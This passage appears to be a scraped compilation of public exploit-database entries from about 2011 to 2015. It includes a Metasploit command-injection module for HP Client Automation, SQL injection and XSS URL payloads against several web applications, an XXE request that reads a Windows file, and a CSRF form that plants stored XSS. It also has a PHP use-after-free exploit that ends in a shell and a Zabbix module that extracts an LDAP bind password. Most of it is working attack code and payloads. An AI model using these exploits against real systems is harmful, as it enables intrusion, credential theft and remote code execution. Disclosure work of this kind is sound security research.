        This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2
        and CentOS 5.
      },
      'Author'         =>
        [
          'Ben Turner', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-1497'],
          ['ZDI', '15-038'],
          ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features']
        ],
      'Privileged'     => true,
      'Platform'       => %w{ unix win },
      'DefaultOptions' =>
        {
            'WfsDelay' => 10
        },
      'Payload'        => {'DisableNops' => true},
      'Targets'        =>
        [
          [ 'HP Client Automation 9.0.0 / Linux',
            {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD,
              'Payload'  =>
                {
                  'Space'       => 466,
                  'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
                  'Compat'      =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'openssl telnet generic gawk'
                    },
                  'BadChars' => "\x27"
                }
            }
          ],
          [ 'HP Client Automation 9.0.0 / Windows',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_X86
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 02 2014'))

    register_options(
      [
        Opt::RPORT(3465)
      ], self.class)

    deregister_options('CMDSTAGER::FLAVOR')
    deregister_options('CMDSTAGER::DECODER')
  end

  def check
    connect
    sock.put("\x00") # port
    sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
    sock.put("hide\x00") # command
    res = sock.get_once
    disconnect

    if res && res.unpack('C')[0] == 0
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    case target['Platform']
    when 'win'
      print_status('Exploiting Windows target...')
      execute_cmdstager({:flavor => :vbs, :linemax => 290})
    when 'unix'
      print_status('Exploiting Linux target...')
      exploit_unix
    else
      fail_with(Failure::NoTarget, 'Invalid target')
    end
  end

  def exploit_unix
    connect
    sock.put("\x00") # port
    sock.put("0\x00") # user ID
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
    sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected
    disconnect
  end

  def execute_command(cmd, opts = {})
    connect
    sock.put("\x00") # port
    sock.put("S-1-5-18\x00") # user ID
    sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
    sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
    res = sock.get_once
    disconnect
    unless res && res.unpack('C')[0] == 0
      fail_with(Failure::Unknown, "Something failed executing the stager...")
    end
  end
end
HireHackking 
source: https://www.securityfocus.com/bid/49786/info

The 'com_biitatemplateshop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_biitatemplateshop&groups=[SQLI]
HireHackking 
source: https://www.securityfocus.com/bid/49771/info

Serendipity Freetag-plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Serendipity Freetag-plugin 3.22; prior versions may also be affected. 

http://www.example.com/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/49769/info

AdaptCMS is prone to multiple cross-site scripting vulnerabilities and an information disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AdaptCMS 2.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/AdaptCMS/admin.php?view=[XSS]
http://www.example.com/AdaptCMS/admin.php?view=share&do=[XSS]
http://www.example.com/AdaptCMS//index.php?'[XSS]
http://www.example.com/AdaptCMS/admin.php?view=/&view=settings
http://www.example.com/AdaptCMS/admin.php?view=/&view=users
http://www.example.com/AdaptCMS/admin.php?view=/&view=groups
http://www.example.com/AdaptCMS/admin.php?view=/&view=levels
http://www.example.com/AdaptCMS/admin.php?view=/&view=stats
HireHackking 
source: https://www.securityfocus.com/bid/49765/info

Multiple products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied input.

An attacker could exploit this vulnerability to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected websites. This may allow the attacker to steal cookie-based authentication credentials or control how the websites are rendered to the user. Other attacks are also possible.

The following products are affected:

WordPress 3.1.4
BuddyPress 1.2.10
Blogs MU 1.2.6 

One of the functionalities of Zyncro is the possibility of creating
groups. The name and description of the groups are not correctly
sanitized and it's possible to provoke some attacks.

In order to do the attack, you must create a new group and capture the
packet transferred to the server to modify it because validation is
done in client-side (only) using javascript.

The original request has three POST data parameters like:
popup=1   &   name=dGVzdA%3D%3D   &   description=dGVzdA%3D%3D

Important data are 'name' and 'description' parameters, which are
base64 encoded. In this case, both values are 'test':
 url_decode(dGVzdA%3D%3D)
 b64decode(dGVzdA==)
 test

It is possible to provoke the XSS by changing those values as follows:
"><script>alert("XSS attack")</script>

Values MUST be in base64, so:
b64encode(""><script>alert("XSS attack")</script>") =
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=

Finally the post-data of the request would become:
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d

Once the request has reached the server, a new group would be created
and any time that someone sees the name/description of the group, a
pop-up would appear, this is the easiest attack.
HireHackking 
source: https://www.securityfocus.com/bid/49753/info

IceWarp Web Mail is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to gain access to potentially sensitive information, and possibly cause denial-of-service conditions; other attacks may also be possible. 

Proof-of-Concept:

The following POST request was sent to the host A.B.C.D where the IceWarp mail
server was running:

REQUEST 
========= 
POST /-.._._.--.._1243848280/server/webmail.php HTTP/1.1 
Host:A.B.C.D 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101
Firefox/5.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language:en-gb,en;q=0.5i've 
Accept-Encoding: gzip, deflate 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 
Proxy-Connection: keep-alive 
Referer: http://A.B.C.D 
Content-Length: 249 
Content-Type: application/xml; 
charset=UTF-8
Pragma: no-cache 
Cache-Control: no-cache

<!DOCTYPE foo [<!ENTITY xxeb91c4 SYSTEM "file:///c:/windows/win.ini"> ]><iq
type="set"><query xmlns="webmail:iq:auth"><username>test&xxeb91c4;</username><digest>828cd27c6fb73ee32674602e9c5521f005c614f5fb9266fd071dab323b5079e02d47a421c01df2efffcd2bdb221e15bf2baa4acefe38f264d92d152878ca4d33</digest><method>RSA</method></query></iq>

RESPONSE: 
========== 
HTTP/1.1 200 OK 
Server: IceWarp/9.4.2 
Date: Wed, 20 Jul
2011 10:04:56 GMT 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Pragma: no-cache
Content-Type: text/xml 
Vary: Accept-Encoding 
Content-Length: 1113

<?xml version="1.0" encoding="utf-8"?><iq type="error"><error
uid="login_invalid">test; for 16-bit app support 
[fonts] 
[extensions] 
[mci extensions] 
[files] 
[Mail] 
MAPI=1
....TRUNCATED
HireHackking 
source: https://www.securityfocus.com/bid/49749/info

AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AWStats 7.0 and 6.95 are vulnerable; other versions may also be affected. 

http://example.com/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://example.com/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/49746/info
 
TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to TWiki 5.1.0 are vulnerable. 

http://example.com/do/view/TWiki/ATasteOfTWiki?&#039;"--></style></script><script>alert(0x002B48)</script>
HireHackking 
source: https://www.securityfocus.com/bid/49746/info

TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.1.0 are vulnerable. 

http://example.com/do/view/Main/Jump?create=on&newtopic=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x0051D1%29%3C/script%3E&template=WebCreateNewTopic&topicparent=3
HireHackking 
====================================================
Product: Easy Social Icons WordPress plugin
Vendor: CyberNetikz
Tested Version: 1.2.2
Vulnerability Type: XSS [CWE-79] and CSRF [CWE-352]
Risk Level: Medium
Solution Status: Solved in version 1.2.3
Discovered and Provided: Eric Flokstra - ITsec Security Services
====================================================
[-] About the Vendor:

Easy Social Icons is a WordPress plugin and can be used to set icons on the public page in order to link to social media platforms such as LinkedIn, Twitter or Facebook.

[-] Advisory Details:

It is discovered that insufficient validation is performed on the 'image_file' parameter enabling arbitrary JavaScript to be injected. On top of that no random tokens are used to prevent CSRF attacks. By combining these vulnerabilities an attacker could for example trick an admin into setting a persistent XSS payload on the public WordPress page.

[-] Proof of Concept:

<html>
 <body>
   <form action="http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1" <http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1> method="POST" enctype="multipart/form-data">
     <input type="hidden" name="title" value="Example" />
     <input type="hidden" name="image&#95;file" value="http&#58;&#47;&#47;10&#46;0&#46;2&#46;215&#47;wordpress&#47;wp&#45;content&#47;uploads&#47;2015&#47;02&#47;cookie&#46;jpg"><script>alert&#40;1&#41;<&#47;script>" />
     <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;example&#46;org" />
     <input type="hidden" name="sortorder" value="0" />
     <input type="hidden" name="target" value="1" />
     <input type="hidden" name="action" value="edit" />
     <input type="hidden" name="id" value="1" />
     <input type="hidden" name="submit&#95;button" value="Save&#32;Changes" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

[-] Disclosure Timeline:

[02 Feb 2015]: Vendor notification
[02 Feb 2015]: Vulnerability confirmation
[11 Feb 2015]: Vulnerability patched
[19 Feb 2015]: Public disclosure

[-] Solution:

Update to the latest version of Easy Social Icons.

[-] References:

[1] Easy Social Icons Changelog -- https://wordpress.org/plugins/easy-social-icons/changelog/
[2] Common Weakness Enumeration (CWE) -- http://cwe.mitre.org
[3] ITsec Security Services BV -- http://www.itsec.nl

------------------------------------------------------------------------
ITsec Security Services bv. (KvK. 34181927)

Postal Address:
P.O. Box 5120, 2000GC Haarlem
Visitors Address:	
Kenaupark 23, 2011 MR Haarlem

Phone:			+31 - (0)23 542 05 78

The information contained in this email communication is confidential and is intended solely for the use of the individual or entity to whom it is addressed and others authorized to receive it. If you are not the intended recipient, you are hereby notified that any disclosure, copying,distribution, or taking any action in reliance of the contents of this information is strictly prohibited and may be unlawful. No rights may be attached to this message. ITsec does not accept any liability for incorrect and incomplete transmission or delayed receipt of this e-mail nor for the effects or damages caused by the direct or indirect use of the information or functionality provided by this posting, nor the content contained within.Use them at your own risk.
HireHackking 
Advisory: Multiple SQLi, stored/reflecting XSS- and CSRF-vulnerabilities in
phpBugTracker v.1.6.0
Advisory ID: SROEADV-2015-16
Author: Steffen Rösemann
Affected Software: phpBugTracker v.1.6.0
Vendor URL: https://github.com/a-v-k/phpBugTracker
Vendor Status: patched
CVE-ID: will asked to be assigned after release on FullDisclosure via
OSS-list
Tested on: OS X 10.10 with Firefox 35.0.1 ; Kali Linux 3.18, Iceweasel 31

==========================
Vulnerability Description:
==========================

The Issuetracker phpBugTracker v. 1.6.0 suffers from multiple SQLi-,
stored/reflected XSS- and CSRF-vulnerabilities.

==================
Technical Details:
==================

The following files used in a common phpBugTracker installation suffer from
different SQLi-, stored/reflected XSS- and CSRF-vulnerabilities:

===========
project.php
===========

SQL injection / underlaying CSRF vulnerability  in project.php via id
parameter:

http://
{TARGET}/admin/project.php?op=edit_component&id=1%27+and+1=2+union+select+1,2,database%28%29,user%28%29,5,6,version%28%29,8,9,10,11,12+--+

Stored XSS via input field "project name":

http://{TARGET}/admin/project.php?op=add

executed in: e.g. http://{TARGET}/admin/project.php, http://
{TARGET}/index.php


========
user.php
========

Reflecting XSS in user.php via use_js parameter:

http://
{TARGET}/admin/user.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&user_id=1

executed in: same page


=========
group.php
=========

Reflecting XSS in group.php via use_js parameter:

http://
{TARGET}/admin/group.php?op=edit&use_js=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&group_id=1

executed in: same page

(Blind) SQL Injection / underlaying CSRF vulnerability  in group.php via
group_id parameter (used in different operations):

http://
{TARGET}/admin/group.php?op=edit&use_js=1&group_id=1+and+SLEEP%2810%29+--+
http://
{TARGET}/admin/group.php?op=edit-role&use_js=1&group_id=8+and+substring%28version%28%29,1,1%29=5+--+


==========
status.php
==========

SQL injection / underlaying CSRF vulnerability  in status.php via status_id
parameter:

http://
{TARGET}/admin/status.php?op=edit&status_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+

Stored XSS via input field "Description":

http://{TARGET}/admin/status.php?op=edit&use_js=1&status_id=0

executed in: e.g. http://{TARGET}/admin/status.php

CSRF vulnerability in status.php (delete statuses):

<img src="http://{TARGET}/admin/status.php?op=del&status_id={NUMERIC_STATUS_ID}"



==============
resolution.php
==============

SQL injection / underlaying CSRF vulnerability  in resolution.php via
resolution_id parameter:

http://
{TARGET}/admin/resolution.php?op=edit&resolution_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+

CSRF vulnerability in resolution.php (delete resolutions):

<img src="http://{TARGET}/admin/resolution.php?op=del&resolution_id={NUMERIC_RESOLUTION_ID}"



============
severity.php
============

SQL injection / underlaying CSRF vulnerability  in severity.php via
severity_id parameter:

http://
{TARGET}/admin/severity.php?op=edit&severity_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29,5+--+

CSRF vulnerability in severity.php (delete severities):

<img src="http://{TARGET}/admin/severity.php?op=del&severity_id={NUMERIC_SEVERITY_ID}"


Stored XSS in severity.php via input field "Description":

http://{TARGET}/admin/severity.php?op=edit&use_js=1&severity_id=0

executed in: e.g. http://{TARGET}/admin/severity.php


============
priority.php
============

SQL injection / underlaying CSRF vulnerability in priority.php via
priority_id parameter:

http://
{TARGET}/admin/priority.php?op=edit&priority_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,4,version%28%29+--+


======
os.php
======

SQL Injection / underlaying CSRF vulnerability in os.php via os_id
parameter:

http://
{TARGET}/admin/os.php?op=edit&os_id=1%27+and+1=2+union+select+1,user%28%29,database%28%29,version%28%29+--+

CSRF vulnerability in os.php (delete operating systems):

<img src="http://{TARGET}/admin/os.php?op=del&os_id={NUMERIC_OS_ID}" >

Stored XSS vulnerability in os.php via input field "Regex":

http://{TARGET}/admin/os.php?op=edit&use_js=1&os_id=0

executed in: e.g. http://{TARGET}/admin/os.php?


============
database.php
============

SQL injection / underlaying CSRF vulnerability in database.php via
database_id:

http://
{TARGET}/admin/database.php?op=edit&database_id=1%27+and+1=2+union+select+1,user%28%29,version%28%29+--+

CSRF vulnerability in database.php (delete databases):

<img src="http://{TARGET}/admin/database.php?op=del&database_id={NUMERIC_DATABASE_ID}"


Stored XSS vulnerability in database.php via input field "Name":

http://{TARGET}/admin/database.php?op=edit&use_js=1&database_id=0


========
site.php
========

CSRF vulnerability in site.php (delete sites):

<img src="http://{TARGET}/admin/site.php?op=del&site_id={NUMERIC_SITE_ID}" >

SQL injection / underlaying CSRF vulnerability in site.php via site_id
parameter:

http://
{TARGET}/admin/site.php?op=edit&site_id=5%27+and+1=2+union+select+1,version%28%29,database%28%29+--+


=======
bug.php
=======

This issue has already been assigned CVE-2004-1519, but seems to have not
been corrected since the assignment:

SQL injection / underlaying CSRF vulnerability in bug.php via project
parameter:

http://
{TARGET}/bug.php?op=add&project=1%27+and+1=2+union+select+user%28%29+--+

For details see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1519.



=========
Solution:
=========

Update to version 1.7.0.


====================
Disclosure Timeline:
====================
03/05-Feb-2015 – found the vulnerabilities
05-Feb-2015 - informed the developers (see [3])
05-Feb-2015 – release date of this security advisory [without technical
details]
05-Feb-2015 - forked the Github repository, to keep it available for other
security researchers (see [4])
05/06-Feb-2015 - vendor replied, will provide a patch for the
vulnerabilities
09-Feb-2015 - vendor provided a patch (version 1.7.0, see [3]); technical
details will be released on 19th February 2015
19-Feb-2015 - release date of this security advisory
19-Feb-2015 - send to FullDisclosure


========
Credits:
========

Vulnerabilities found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] https://github.com/a-v-k/phpBugTracker
[2] http://sroesemann.blogspot.de/2015/02/sroeadv-2015-16.html
[3] https://github.com/a-v-k/phpBugTracker/issues/4
[4] https://github.com/sroesemann/phpBugTracker
HireHackking 
Advisory: Multiple reflecting XSS-, SQLi and
InformationDisclosure-vulnerabilities in Zeuscart v.4
Advisory ID: SROEADV-2015-12
Author: Steffen Rösemann
Affected Software: Zeuscart v.4
Vendor URL: http://zeuscart.com/
Vendor Status: pending
CVE-ID: will asked to be assigned after release on FullDisclosure via
OSS-list
Software used for research: Mac OS X 10.10, Firefox 35.0.1

==========================
Vulnerability Description:
==========================

ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- and
InformationDisclosure-vulnerabilities.

==================
Technical Details:
==================

====
XSS
===

Reflecting XSS-vulnerabilities can be found in a common
Zeuscart-installation in the following locations and could be exploited for
example by crafting a link and make a registered user click on that link.

The parameter "search", which is used in the index.php is vulnerable to
XSS-attacks.

Exploit-Example:

http://
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--

By appending arbitrary HTML- and/or JavaScript-code to the parameter
"schltr" which is as well used in index.php, an attacker could exploit this
XSS-vulnerable parameter:

Exploit-Example:

http://
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

The third XSS-vulnerability can be found in the "brand"-parameter, which is
again used in index.php.

Exploit-Example:

http://
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

====
SQLi
====

The SQL injection-vulnerabilities can be found in the administrative
backend of Zeuscart v. 4 and reside in the following locations in a common
installation.

By appending arbitrary SQL statements to the "id"-parameter, an attacker
could exploit this SQL injection vulnerability:

Exploit-Example:

http://
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+

Another SQL injection vulnerability can be found here and can be exploited
by appending SQL statements to the vulnerable "cid"-parameter:

Exploit-Example:

http://
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+

The last SQL injection vulnerability I found can be found in the following
location and can be exploited by appending SQL statements to the vulnerable
"id" parameter:

http://
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+

==============
Information Disclosure
==============

The administrative backend of Zeuscart v. 4 allows the admin to use a
functionality, which displays the PHP-installation settings via phpinfo():

http://{TARGET}/admin/?do=getphpinfo

Unfortunately, the PHP-script does not check, if an authorized admin
executes this functionality: It is possible even for unregistered users to
request the above link to see the informations, phpinfo() displays. That
could expose sensitive informations to an attacker which could lead to
further exploitation.



=========
Solution:
=========

Vendor has been notified. After releasing a patch, which seems not to
correct the issues, the vendor decided not to respond anymore to figure out
a solution together. Currently, there is no patch available to secure
Zeuscart-installations.


====================
Disclosure Timeline:
====================
21-Jan-2015 – found the vulnerabilities
21-Jan-2015 - informed the developers (see [3])
21-Jan-2015 – release date of this security advisory [without technical
details]
21-Jan-2015 – fork of the repository to keep the vulnerable version
available for other researchers (see [5])
22-Jan-2015 - vendor responded, provided detailed information
04-Feb-2015 - vendor patches Bin/Core/Assembler.php; vulnerabilities are
still exploitable, which has been reported to the vendor (see [3])
19-Feb-2015 - asked the vendor again, if he will patch these issues (see
[3]); vendor did not respond
21-Feb-2015 - release date of this security advisory
21-Feb-2015 - send to FullDisclosure


========
Credits:
========

Vulnerabilities found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://zeuscart.com/
[2] https://github.com/ZeusCart/zeuscart
[3] https://github.com/ZeusCart/zeuscart/issues/28
[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html
[5] https://github.com/sroesemann/zeuscart
HireHackking 
Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.1.29 - Release Date: 2015.2.20

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22
Affected is PHP 5.4 < 5.4.38

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

static int php_date_initialize_from_hash(php_date_obj **dateobj,
HashTable *myht)
{
	zval             *z_date;
	zval             *z_timezone;
	zval             *z_timezone_type;
	zval              tmp_obj;
	timelib_tzinfo   *tzi;
	php_timezone_obj *tzobj;

	z_date = zend_hash_str_find(myht, "date", sizeof("data")-1);
	if (z_date) {
		convert_to_string(z_date);
		z_timezone_type = zend_hash_str_find(myht, "timezone_type",
sizeof("timezone_type")-1);
		if (z_timezone_type) {
			convert_to_long(z_timezone_type);
			z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1);
			if (z_timezone) {
				convert_to_string(z_timezone);

...

static int php_date_timezone_initialize_from_hash(zval **return_value,
php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;

	if (zend_hash_find(myht, "timezone_type", 14, (void**)
&z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)
TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}

The convert_to_long() leads to the ZVAL and all its children is freed
from memory. However the unserialize() code will still allow to use R:
or r: to set references to that already freed memory. There is a use
after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';

$z = unserialize($data2);

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
(lldb)
HireHackking 
##
# This module requires Metasploit
# Date: 25-09-2013
# Author: Pablo González
# Vendor Homepage: Zabbix -> http://www.zabbix.com 
# Software Link: http://www.zabbix.com 
# Version: 2.0.5
# Tested On: Linux (Ubuntu, Suse, CentOS)
# CVE: CVE-2013-5572 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5572
# More Info: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5572
# 	   http://www.elladodelmal.com/2014/12/como-crear-el-modulo-metasploit-para-el.html
# 	   http://seclists.org/fulldisclosure/2013/Sep/151
#   	   http://www.cvedetails.com/cve/CVE-2013-5572/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ldap_bind_password Zabbix CVE-2013-5572',
      'Description'    => %q{
          Zabbix 2.0.5 allows remote authenticated users to discover the LDAP bind password by leveraging management-console access and reading the ldap_bind_password value in the HTML source code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ '@pablogonzalezpe, Pablo Gonzalez' ]
    ))

    register_options([
      OptString.new('zbx_session', [true, 'Cookie zbx_sessionid']),
	  OptString.new('TARGETURI', [true, 'Path Zabbix Authentication','/zabbix/authentication.php']),
	  OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
    ], self.class)

  end

  def run
    req
  end
  def req
	resp = send_request_cgi(
      {
		'host' => datastore['RHOST'],
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path.to_s),
        'cookie' => "zbx_sessionid=#{datastore['zbx_session']}",
		'content-type' => 'application/x-www-form-urlencoded'
      }, datastore['TIMEOUT'])
	    
	  ldap_host(resp)
	  user_passDomain(resp)
	  user_zabbix(resp)
  end
  
  def ldap_host(response)
	cut = response.body.split("ldap_host\" value=\"")[1]
	if cut != nil
		host = cut.split("\"")[0]
		print_good "LDAP Host => #{host}"
	end
  end
  
  def user_passDomain(response)
	cut = response.body.split("ldap_bind_dn\" value=\"")[1]
	if cut != nil	
		user = cut.split("\"")[0]
		print_good "User Domain? => #{user}"
	end
	cut = response.body.split("name=\"ldap_bind_password\" value=\"")[1]
	if cut != nil
		pass = cut.split("\"")[0]
		print_good "Password Domain? => #{pass}"
	end
  end

  def user_zabbix(response)
	cut = response.body.split("user\" value=\"")[1]
	if cut != nil
		user = cut.split("\"")[0]
		print_good "User Zabbix => #{user}"
	end
  end
end
HireHackking 
# Exploit Title   : Clipbucket 2.7 RC3 0.9 Blind SQL Injection
# Date            : 20 February 2015
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://clip-bucket.com/
# Software Link   : http://sourceforge.net/projects/clipbucket/files/ClipBucket%20v2/clipbucket-2.7.0.4.v2929-rc3.zip
# Version         : 2.7.0.4.v2929-rc3
# Tested on       : Window and Linux
   
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /       
  / XXXXXX /
 (________(         
  `------'
  
####################
SOFTWARE DESCRIPTION
####################
  
ClipBucket is an OpenSource Multimedia Management Script Provided Free to the Community.This script comes with all
the bells & whistles required to start your own Video Sharing website like Youtube, Metacafe, Veoh, Hulu or any
other top video distribution application in matter of minutes. ClipBucket is fastest growing script which was
first started as Youtube Clone but now its advance features & enhancements makes it the most versatile, reliable &
scalable media distribution platform with latest social networking features, while staying light on your pockets.
Whether you are a small fan club or a big Multi Tier Network operator, Clipbucket will fulfill your video
management needs.
  
##################################
